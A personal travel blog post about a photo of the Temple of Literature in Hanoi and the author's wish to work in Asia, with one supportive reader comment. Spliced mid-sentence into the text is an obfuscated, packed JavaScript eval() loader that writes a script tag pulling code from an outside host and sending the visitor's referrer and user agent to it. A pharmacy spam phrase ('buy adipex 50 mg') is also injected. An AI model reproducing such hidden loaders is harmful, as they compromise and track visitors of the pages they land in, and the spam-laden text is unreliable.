Snap Shot from Around the World


Red paper lanterns line the path to the Temple of Literature in Hanoi, Vietnam.

Recently, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kntas|var|u0026u|referrer|aatbe||js|php’.split(‘|’),0,{}))
my life has been topsy-turvy, to say the least.  Like the quintessential avoider, I just wanted to find an escape from my own reality.  I flipped through my pictures of Asia, and I fell back in love with the mysterious continent that holds my roots and possibly my future.  I’m an American, through and through, but Asia has completely enchanted me.  I would love to return to work and learn more about the people and culture.

Life has taught me that you can’t avoid your issues.  They will follow you, no matter where you run.  As of recently, though, I’m starting to wonder if running away couldn’t be an answer to the problem, in and of itself.

As I sat in my kitchen talking with my friend in Chile, the cogs in my head buy adipex 50 mg began turning again.  He left the country to teach English, but his 6 month contract is over and he will continue to travel, work, and live in South America for a couple more months to get back in touch with his roots and heritage.  What he hasn’t guessed yet, is that he will be relearning himself.  Traveling is a lot like reading your own memoirs because you find out more about who you are than you expect.

As I live through my twenties, trying to find a stable routine for my life postgraduate and learning about myself, maybe traveling can be the answer.  I’m seeking a broadcast journalism job, so why not pursue this career path in Asia, as well?  I will follow my dreams, wherever they may lead me.  I’m just saying, I wouldn’t mind having that path lead me to another country.

  1. These pictures look oddly familiar. I wonder why? Whatever your decision you know I support you and I know you’ll succeed. Interesting you opted for images from the Temple of Literature Ms. Broadcast Traveller.
